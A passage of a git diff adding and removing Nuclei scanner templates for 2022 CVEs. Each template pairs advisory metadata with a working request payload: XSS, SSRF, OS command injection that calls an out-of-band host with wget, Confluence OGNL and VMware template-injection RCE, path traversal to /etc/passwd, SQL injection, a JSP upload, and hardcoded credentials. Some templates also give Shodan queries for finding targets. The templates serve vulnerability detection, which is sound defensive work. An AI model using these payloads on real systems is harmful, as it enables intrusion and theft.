cve,cve2022,drawio,ssrf,oss +requests: + - raw: + - | + GET /proxy?url=http%3a//0:8080/ HTTP/1.1 + Host: {{Hostname}} + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Flowchart Maker & Online Diagram Software" + - type: word + part: header + words: + - "application/octet-stream" + +# Enhanced by mp on 2022/06/29 diff --git a/poc/cve/cve-2022-1724(1).yaml b/poc/cve/cve-2022-1724(1).yaml new file mode 100644 index 0000000000..a8bb926031 --- /dev/null +++ b/poc/cve/cve-2022-1724(1).yaml @@ -0,0 +1,34 @@ +id: CVE-2022-1724 +info: + name: Simple Membership < 4.1.1 - Reflected Cross-Site Scripting + author: Akincibor + severity: medium + description: The plugin does not properly sanitise and escape parameters before outputting them back in AJAX actions, leading to Reflected Cross-Site Scripting. + reference: + - https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae + - https://nvd.nist.gov/vuln/detail/CVE-2022-1724 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-1724 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2022,wp-plugin,xss,wp,wordpress +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E' + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"",' + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2022-1815(1).yaml b/poc/cve/cve-2022-1815(1).yaml deleted file mode 100644 index 62e23a8e4b..0000000000 --- a/poc/cve/cve-2022-1815(1).yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2022-1815 -info: - name: Drawio < 18.1.2 - Server Side Request Forgery - author: amit-jd - severity: high - description: | - SSRF in /service endpoint in jgraph/drawio prior to 18.1.2. Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository jgraph/drawio prior to 18.1.2. - reference: - - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-1815 - - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f - - https://github.com/jgraph/drawio/commit/c287bef9101d024b1fd59d55ecd530f25000f9d8 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-1815 - cwe-id: CWE-918 - metadata: - verified: "true" - tags: cve,cve2022,drawio,ssrf,oast,oss,jgraph -requests: - - raw: - - | - GET /service/0/test.oast.me HTTP/2 - Host: {{Hostname}} - matchers: - - type: dsl - dsl: - - "contains(body, 'Interactsh Server')" - - status_code == 200 - condition: and diff --git a/poc/cve/cve-2022-1906(1).yaml b/poc/cve/cve-2022-1906(1).yaml deleted file mode 100644 index 0de7988bdc..0000000000 --- a/poc/cve/cve-2022-1906(1).yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2022-1906 -info: - name: Copyright Proof <= 4.16 - Reflected Cross-Site-Scripting - author: random-robbie - severity: medium - description: | - The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting when a specific setting is enabled. - reference: - - https://wpscan.com/vulnerability/af4f459e-e60b-4384-aad9-0dc18aa3b338 - - https://nvd.nist.gov/vuln/detail/CVE-2022-1906 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1906 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-1906 - cwe-id: CWE-79 - metadata: - google-dork: inurl:/wp-content/plugins/digiproveblog - verified: "true" - tags: cve,cve2022,wordpress,xss,wp-plugin,wp -requests: - - raw: - - | - GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 - Host: {{Hostname}} - matchers-condition: and - matchers: - - type: word - part: body - words: - - "got message " - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-1946(1).yaml b/poc/cve/cve-2022-1946(1).yaml deleted file mode 100644 index e2de7131b8..0000000000 --- a/poc/cve/cve-2022-1946(1).yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2022-1946 -info: - name: Gallery < 2.0.0 - Reflected Cross-Site Scripting - author: Akincibor - severity: medium - description: The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting issue. - reference: - - https://wpscan.com/vulnerability/0903920c-be2e-4515-901f-87253eb30940 - - https://wordpress.org/plugins/gallery-album - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1946 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2022-1946 - cwe-id: CWE-79 - metadata: - google-dork: inurl:"/wp-content/plugins/gallery-album/" - verified: "true" - tags: cve,cve2022,wp-plugin,xss,wp,wordpress,gallery,unauth -requests: - - method: GET - path: - - '{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=' - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'wpdevar_gall_img_url_h[]' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2022-21705(1).yaml b/poc/cve/cve-2022-21705(1).yaml deleted file mode 100644 index d48170c9cf..0000000000 --- a/poc/cve/cve-2022-21705(1).yaml +++ /dev/null @@ -1,94 +0,0 @@ -id: CVE-2022-21705 -info: - name: OctoberCMS Authenticated Remote Code Execution - author: iPhantasmic - severity: high - description: | - Octobercms is a self-hosted CMS platform based on the Laravel PHP Framework. In affected versions user input was not properly sanitized before rendering. An authenticated user with the permissions to create, modify and delete website pages can exploit this vulnerability to bypass `cms.safe_mode` / `cms.enableSafeMode` in order to execute arbitrary code. This issue only affects admin panels that rely on safe mode and restricted permissions. To exploit this vulnerability, an attacker must first have access to the backend area. - remediation: | - The issue has been patched in Build 474 (v1.0.474) and v1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe to your installation manually. - reference: - - https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe - - https://github.com/octobercms/october/security/advisories/GHSA-79jw-2f46-wv22 - - https://cyllective.com/blog/post/octobercms-cve-2022-21705/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-21705 - cwe-id: CWE-74 - tags: cve,cve2022,authenticated,rce,cms,octobercms,injection -requests: - - raw: - - | # to obtain session_key and token - GET /backend/backend/auth/signin HTTP/1.1 - Host: {{Hostname}} - - | # to perform authentication and obtain admin cookies - POST /backend/backend/auth/signin HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - _session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}} - - | # to inject php code in Markup editor and perform exploit - POST /backend/cms HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-OCTOBER-REQUEST-HANDLER: onSave - X-OCTOBER-REQUEST-PARTIALS: - X-Requested-With: XMLHttpRequest - - _session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0 - - | # to obtain theme - POST /backend/cms HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-OCTOBER-REQUEST-HANDLER: onCreateTemplate - X-OCTOBER-REQUEST-PARTIALS: - X-Requested-With: XMLHttpRequest - - _session_key={{session_key}}&_token={{token}}&search=&type=page - - | # to access the template page for generated exploit - POST /backend/cms HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-OCTOBER-REQUEST-HANDLER: onOpenTemplate - X-OCTOBER-REQUEST-PARTIALS: - X-Requested-With: XMLHttpRequest - - _session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm - cookie-reuse: true - extractors: - - type: xpath - name: session_key - attribute: value - xpath: - - "/html/body/div[1]/div/div[2]/div/div/form/input[1]" - internal: true - # Obtain _session_key for current OctoberCMS session - - type: xpath - name: token - attribute: value - xpath: - - "/html/body/div[1]/div/div[2]/div/div/form/input[2]" - internal: true - # Obtain _token for current OctoberCMS session - - type: regex - name: theme - part: body - group: 1 - regex: - - '' + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "Contact Form 7" + condition: and + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2022-22954-6668.yaml b/poc/cve/cve-2022-22954-6668.yaml new file mode 100644 index 0000000000..4631213e31 --- /dev/null +++ b/poc/cve/cve-2022-22954-6668.yaml @@ -0,0 +1,35 @@ +id: CVE-2022-22954 +info: + name: VMware Workspace ONE Access - Server-Side Template Injection + author: sherlocksecurity + severity: critical + description: | + VMware Workspace ONE Access is susceptible to a remote code execution vulnerability due to a server-side template injection flaw. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. + reference: + - https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 + - https://www.vmware.com/security/advisories/VMSA-2022-0011.html + - http://packetstormsecurity.com/files/166935/VMware-Workspace-ONE-Access-Template-Injection-Command-Execution.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-22954 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22954 + cwe-id: CWE-94 + metadata: + shodan-query: http.favicon.hash:-1250474341 + tags: cve,cve2022,vmware,ssti,workspaceone +requests: + - method: GET + path: + - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d" # Executes cat /etc/hosts + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Authorization context is not valid" + - type: status + status: + - 400 + +# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/cve-2022-23178-6687.yaml b/poc/cve/cve-2022-23178-6687.yaml deleted file mode 100644 index 7574652dd5..0000000000 --- a/poc/cve/cve-2022-23178-6687.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2022-23178 -info: - name: Crestron Device - Credentials Disclosure - author: gy741 - severity: critical - description: An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields. - reference: - - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-009/-credential-disclosure-in-web-interface-of-crestron-device - - https://nvd.nist.gov/vuln/detail/CVE-2022-23178 - - https://de.crestron.com/Products/Video/HDMI-Solutions/HDMI-Switchers/HD-MD4X2-4K-E - - https://www.redteam-pentesting.de/advisories/rt-sa-2021-009 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-23178 - cwe-id: CWE-287 - tags: cve,cve2022,crestron,disclosure -requests: - - method: GET - path: - - "{{BaseURL}}/aj.html?a=devi" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: body - words: - - '"uname":' - - '"upassword":' - condition: and - -# Enhanced by mp on 2022/02/28 diff --git a/poc/cve/cve-2022-24124-6705.yaml b/poc/cve/cve-2022-24124-6705.yaml new file mode 100644 index 0000000000..6317f902c2 --- /dev/null +++ b/poc/cve/cve-2022-24124-6705.yaml @@ -0,0 +1,37 @@ +id: CVE-2022-24124 +info: + name: Casdoor 1.13.0 - Unauthenticated SQL Injection + author: cckuailong + severity: high + description: Casdoor version 1.13.0 suffers from a remote unauthenticated SQL injection vulnerability via the query API in Casdoor before 1.13.1 related to the field and value parameters, as demonstrated by api/get-organizations. + reference: + - https://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html + - https://www.exploit-db.com/exploits/50792 + - https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24124/vultarget + - https://nvd.nist.gov/vuln/detail/CVE-2022-24124 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-24124 + cwe-id: CWE-89 + metadata: + product: https://casdoor.org/ + shodan-query: http.title:"Casdoor" + tags: cve,cve2022,casdoor,sqli,unauth +requests: + - method: GET + path: + - "{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)" + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "XPATH syntax error.*'" + - "casdoor" + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/08 diff --git a/poc/cve/cve-2022-24856(1).yaml b/poc/cve/cve-2022-24856(1).yaml deleted file mode 100644 index 0bf893b39e..0000000000 --- a/poc/cve/cve-2022-24856(1).yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2022-24856 -info: - name: Flyte Console <0.52.0 - Server-Side Request Forgery - author: pdteam - severity: high - description: | - FlyteConsole is the web user interface for the Flyte platform. FlyteConsole prior to version 0.52.0 is vulnerable to server-side request forgery when FlyteConsole is open to the general internet. An attacker can exploit any user of a vulnerable instance to access the internal metadata server or other unauthenticated URLs. Passing of headers to an unauthorized actor may occur. - reference: - - https://github.com/flyteorg/flyteconsole/security/advisories/GHSA-www6-hf2v-v9m9 - - https://github.com/flyteorg/flyteconsole/pull/389 - - https://hackerone.com/reports/1540906 - - https://nvd.nist.gov/vuln/detail/CVE-2022-24856 - remediation: | - The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-24856 - cwe-id: CWE-918 - tags: cve,cve2022,flyteconsole,ssrf,oss -requests: - - method: GET - path: - - "{{BaseURL}}/cors_proxy/https://www.interact.sh" - matchers: - - type: word - words: - - "Interactsh Server" - -# Enhanced by mp on 2022/06/29 diff --git a/poc/cve/cve-2022-2488(1).yaml b/poc/cve/cve-2022-2488(1).yaml deleted file mode 100644 index 5c0bb7ac8b..0000000000 --- a/poc/cve/cve-2022-2488(1).yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2022-2488 -info: - name: Wavlink Touchlist_sync.cgi - Remote Code Execution - author: For3stCo1d - severity: critical - description: | - A vulnerability was found in WAVLINK WN535K2 and WN535K3 and classified as critical. This issue affects some unknown processing of the file /cgi-bin/touchlist_sync.cgi. The manipulation of the argument IP leads to os command injection. The exploit has been disclosed to the public and may be used. - reference: - - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20touchlist_sync.cgi.md - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2488 - - https://vuldb.com/?id.204539 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-2488 - cwe-id: CWE-78 - metadata: - shodan-query: http.title:"Wi-Fi APP Login" - verified: "true" - tags: cve,cve2022,iot,wavlink,router,rce,oast -requests: - - raw: - - | - GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1 - Host: {{Hostname}} - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - type: status - status: - - 500 diff --git a/poc/cve/cve-2022-24900(1).yaml b/poc/cve/cve-2022-24900(1).yaml deleted file mode 100644 index 9f2945210d..0000000000 --- a/poc/cve/cve-2022-24900(1).yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2022-24900 -info: - name: Piano LED Visualizer 1.3 - Local File Inclusion - author: 0x_Akoko - severity: high - description: | - Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion. - reference: - - https://github.com/onlaj/Piano-LED-Visualizer/issues/350 - - https://vuldb.com/?id.198714 - - https://www.cvedetails.com/cve/CVE-2022-24900/ - - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - cvss-score: 8.6 - cve-id: CVE-2022-24900 - cwe-id: CWE-610 - tags: cve,cve2022,lfi,piano,iot,oss -requests: - - method: GET - path: - - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/29 diff --git a/poc/cve/cve-2022-25216-6718.yaml b/poc/cve/cve-2022-25216-6718.yaml new file mode 100644 index 0000000000..630944e895 --- /dev/null +++ b/poc/cve/cve-2022-25216-6718.yaml @@ -0,0 +1,31 @@ +id: CVE-2022-25216 +info: + name: DVDFab 12 Player/PlayerFab - Arbitrary File Read + author: 0x_Akoko + severity: high + description: An absolute path traversal vulnerability allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access + reference: + - https://www.tenable.com/security/research/tra-2022-07 + - https://www.cvedetails.com/cve/CVE-2022-25216 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-25216 + cwe-id: CWE-22 + tags: cve,cve2022,dvdFab,lfi,lfr +requests: + - method: GET + path: + - "{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + - type: status + status: + - 200 diff --git a/poc/cve/cve-2022-26134(1).yaml b/poc/cve/cve-2022-26134(1).yaml new file mode 100644 index 0000000000..0f5e4c501b --- /dev/null +++ b/poc/cve/cve-2022-26134(1).yaml @@ -0,0 +1,45 @@ +id: CVE-2022-26134 +info: + name: Confluence - Remote Code Execution + author: pdteam,jbertman + severity: critical + description: | + Confluence Server and Data Center is susceptible to an unauthenticated remote code execution vulnerability. + reference: + - https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis + - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html + - https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/ + - https://jira.atlassian.com/browse/CONFSERVER-79016 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-26134 + cwe-id: CWE-74 + metadata: + shodan-query: http.component:"Atlassian Confluence" + verified: "true" + tags: cve,cve2022,confluence,rce,ognl,oast,kev +requests: + - method: GET + path: + - "{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/" + - "{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/" + stop-at-first-match: true + req-condition: true + matchers-condition: or + matchers: + - type: dsl + dsl: + - 'contains(to_lower(all_headers_1), "x-cmd-response:")' + - type: dsl + dsl: + - 'contains(interactsh_protocol, "dns")' + - 'contains(to_lower(response_2), "confluence")' + condition: and + extractors: + - type: kval + part: header + kval: + - "x_cmd_response" + +# Enhanced by mp on 2022/07/04 diff --git a/poc/cve/cve-2022-26138(1).yaml b/poc/cve/cve-2022-26138(1).yaml deleted file mode 100644 index 4c560c8ea2..0000000000 --- a/poc/cve/cve-2022-26138(1).yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2022-26138 -info: - name: Questions For Confluence - Hardcoded Credentials - author: HTTPVoid - severity: critical - description: | - A remote, unauthenticated attacker with knowledge of the hardcoded password could exploit this to log into Confluence and access all content accessible to users in the confluence-users group. - reference: - - https://twitter.com/fluepke/status/1549892089181257729 - - https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-26138 - - https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html - classification: - cve-id: CVE-2022-26138 - metadata: - shodan-query: http.component:"Atlassian Confluence" - tags: cve,cve2022,confluence,atlassian,default-login -requests: - - raw: - - | - POST /dologin.action HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action - attack: pitchfork - payloads: - os_username: - - disabledsystemuser - os_password: - - disabled1system1user6708 - matchers: - - type: dsl - dsl: - - 'location == "/httpvoid.action"' diff --git a/poc/cve/cve-2022-26148-6730.yaml b/poc/cve/cve-2022-26148-6730.yaml deleted file mode 100644 index 770a6d6001..0000000000 --- a/poc/cve/cve-2022-26148-6730.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2022-26148 -info: - name: Grafana & Zabbix Integration - Credential Disclosure - author: Geekby - severity: critical - description: | - Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address. - reference: - - https://2k8.org/post-319.html - - https://security.netapp.com/advisory/ntap-20220425-0005/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-26148 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-26148 - metadata: - fofa-query: app="Grafana" - shodan-query: title:"Grafana" - tags: cve,cve2022,grafana,zabbix,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/login?redirect=%2F" - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - '"password":"(.*?)"' - - '"username":"(.*?)"' - condition: and - - type: word - part: body - words: - - '"zabbix":' - - '"zbx":' - - "alexanderzobnin-zabbix-datasource" - condition: or - - type: status - status: - - 200 - extractors: - - type: regex - group: 1 - regex: - - '"password":"(.*?)"' - - '"username":"(.*?)"' - - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php' - -# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/cve-2022-26159-6733.yaml b/poc/cve/cve-2022-26159-6733.yaml new file mode 100644 index 0000000000..c830ed2369 --- /dev/null +++ b/poc/cve/cve-2022-26159-6733.yaml @@ -0,0 +1,35 @@ +id: CVE-2022-26159 +info: + name: Ametys CMS Information Disclosure + author: Remi Gascou (podalirius) + severity: medium + description: Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion/domain/en.xml (and similar pathnames for other languages) via the auto-completion plugin, which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-26159 + - https://podalirius.net/en/cves/2022-26159/ + - https://issues.ametys.org/browse/CMS-10973 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2022-26159 + tags: cve,cve2022,plugin,ametys,cms +requests: + - method: GET + path: + - '{{BaseURL}}/plugins/web/service/search/auto-completion/domain/en.xml?q=adm' + matchers-condition: and + matchers: + - type: word + words: + - '' + - '' + condition: and + - type: word + part: header + words: + - 'text/xml' + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/23 diff --git a/poc/cve/cve-2022-26233-6735.yaml b/poc/cve/cve-2022-26233-6735.yaml deleted file mode 100644 index 7985f8b327..0000000000 --- a/poc/cve/cve-2022-26233-6735.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2022-26233 -info: - name: Barco Control Room Management Suite - Directory Traversal - author: 0x_Akoko - severity: high - description: Barco Control Room Management through Suite 2.9 Build 0275 was discovered to be vulnerable to directory traversal, allowing attackers to access sensitive information and components. Requests must begin with the "GET /..\.." substring. - reference: - - https://0day.today/exploit/37579 - - https://www.cvedetails.com/cve/CVE-2022-26233 - - http://seclists.org/fulldisclosure/2022/Apr/0 - - http://packetstormsecurity.com/files/166577/Barco-Control-Room-Management-Suite-Directory-Traversal.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-26233 - cwe-id: CWE-22 - tags: cve,cve2022,barco,lfi -requests: - - raw: - - |+ - GET /..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1 - Host: {{Hostname}} - - unsafe: true - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and diff --git a/poc/cve/cve-2022-26352(1).yaml b/poc/cve/cve-2022-26352(1).yaml new file mode 100644 index 0000000000..f75c2c3155 --- /dev/null +++ b/poc/cve/cve-2022-26352(1).yaml @@ -0,0 +1,41 @@ +id: CVE-2022-26352 +info: + name: DotCMS - Arbitrary File Upload + author: h1ei1 + severity: critical + description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions. + reference: + - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/ + - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352 + - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html + classification: + cve-id: CVE-2022-26352 + tags: cve,cve2022,rce,dotcms +requests: + - raw: + - | + POST /api/content/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3 + + --------------------------aadc326f7ae3eac3 + Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp" + Content-Type: text/plain + + <% + out.println("CVE-2022-26352"); + %> + --------------------------aadc326f7ae3eac3-- + - | + GET /{{randstr}}.jsp HTTP/1.1 + Host: {{Hostname}} + req-condition: true + matchers: + - type: dsl + dsl: + - 'contains(body_2, "CVE-2022-26352")' + - 'status_code_2 == 200' + condition: and + +# Enhanced by mp on 2022/05/19 diff --git a/poc/cve/cve-2022-26960(1).yaml b/poc/cve/cve-2022-26960(1).yaml deleted file mode 100644 index 21b4f71879..0000000000 --- a/poc/cve/cve-2022-26960(1).yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2022-26960 -info: - name: elFinder <=2.1.60 - Local File Inclusion - author: pikpikcu - severity: critical - description: | - elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths. - reference: - - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html - - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db - - https://www.synacktiv.com/publications.html - - https://nvd.nist.gov/vuln/detail/CVE-2022-26960 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - cvss-score: 9.1 - cve-id: CVE-2022-26960 - cwe-id: CWE-22 - metadata: - verified: true - tags: cve,cve2022,lfi,elfinder -requests: - - raw: - - | - GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/05 diff --git a/poc/cve/cve-2022-27927(1).yaml b/poc/cve/cve-2022-27927(1).yaml new file mode 100644 index 0000000000..96820d1ca3 --- /dev/null +++ b/poc/cve/cve-2022-27927(1).yaml @@ -0,0 +1,38 @@ +id: CVE-2022-27927 +info: + name: Microfinance Management System 1.0 - SQL Injection + author: 